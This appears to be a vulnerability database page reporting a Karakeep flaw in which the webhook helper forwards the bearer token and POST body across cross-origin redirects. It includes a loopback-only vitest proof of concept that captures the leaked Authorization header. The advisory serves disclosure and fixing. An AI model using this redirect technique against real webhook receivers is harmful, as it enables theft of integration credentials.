
Cloud Vulnerability DB
A community-led vulnerabilities database
Karakeep's webhook worker sends a user-configured bearer token in the Authorization header. The shared fetchWithProxy() helper follows redirects manually and reuses the same header set on every hop without comparing origins, so a webhook endpoint that redirects to a different origin causes the bearer token to be forwarded to that origin. For HTTP 307/308, the original POST body is forwarded as well. This is distinct from CVE-2026-45082 (SSRF protection bypass via redirect handling, fixed in 0.32.0): that fix validates redirect destinations but does not bind credentials to an origin. The behaviour is present on current main. Suggested severity: Medium (CVSS 3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N = 4.8).
Karakeep's webhook worker sends an optional authentication token on each delivery as Authorization: Bearer <token>.
The shared HTTP helper fetchWithProxy() in apps/workers/network.ts follows redirects manually. prepareFetchOptions() builds a single baseHeaders object once, and the redirect loop reuses that same object for every subsequent hop. When a redirect changes the destination origin, the helper validates the new destination (SSRF checks) but does not compare origins and does not remove sensitive headers.
As a result, a webhook endpoint that returns a redirect to a different origin causes the configured bearer token to be forwarded. For 307/308 the original POST method and JSON body are preserved and forwarded; for 301/302/303 the method is downgraded to GET and the body dropped, but Authorization is still retained.
Affected code (commit 75aeaaa4eb71b1d3143d7bdc6b88c66fbcfb5fea):
Authorization: Bearer <token> at line 141, JSON body at 145–152.Reproducible entirely on loopback; no third-party service is contacted. Two local HTTP servers on different ports (= different origins); the first returns a 307 to the second; the second records the Authorization header and body.
Configuration detail: Karakeep correctly blocks loopback by default, so for the test only, allow 127.0.0.1 through the internal-host allowlist (mock allowedInternalHostnames = ["127.0.0.1"]).
Test (drop into apps/workers as a vitest test, or run standalone against network.ts):
import http from "node:http";
import type { AddressInfo } from "node:net";
import { fetchWithProxy } from "./network";
function listen(s: http.Server): Promise<number> {
return new Promise((r) => s.listen(0, "127.0.0.1", () => r((s.address() as AddressInfo).port)));
}
test("cross-origin redirect forwards Authorization header", async () => {
let auth: string | undefined, body = "";
const sink = http.createServer((req, res) => {
auth = req.headers.authorization;
req.on("data", (c) => (body += c.toString()));
req.on("end", () => res.writeHead(200).end("ok"));
});
const sinkPort = await listen(sink);
const redir = http.createServer((_r, res) => { res.writeHead(307, { Location: http://127.0.0.1:${sinkPort}/capture }); res.end(); });
const redirPort = await listen(redir);
try {
await fetchWithProxy(http://127.0.0.1:${redirPort}/hook, {
method: "POST",
headers: { "Content-Type": "application/json", Authorization: "Bearer canary-secret" },
body: JSON.stringify({ hello: "world" }),
});
expect(auth).toBe("Bearer canary-secret"); // leaks on current code
expect(body).toContain("world");
} finally { redir.close(); sink.close(); }
});
Observed (Node v24.21.0, commit 75aeaaa4eb71b1d3143d7bdc6b88c66fbcfb5fea):
second-origin Authorization: Bearer <canary>
second-origin body: {"hello":"world"}
pass 1 / fail 0 — Authorization persists across cross-origin 307 redirect
With maxRedirects: 0 the redirect is rejected and the second origin receives nothing (fix validated).
Type: Insertion of Sensitive Information Into Sent Data (CWE-201) / Insufficiently Protected Credentials (CWE-522). Who is impacted: self-hosted Karakeep deployments where a user configures a webhook with a bearer token and the configured receiver can be induced to redirect to an attacker-controlled origin (e.g. an open redirect on the receiver, a compromised receiver, or another attacker-controllable redirect). What the attacker gains: the bearer token configured for that webhook, and with a 307/308 redirect the webhook JSON body (job ID, bookmark ID, user ID, bookmark URL/type, operation). In the common case the token is the receiver's own inbound secret, so a redirect-controlling third party can capture it and have Karakeep forge webhook events to them; where users reuse a real integration/API token (e.g. n8n, Home Assistant), the leak can grant access to that external service. Delivery is retried, so the token may be sent to the redirect target multiple times per event.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."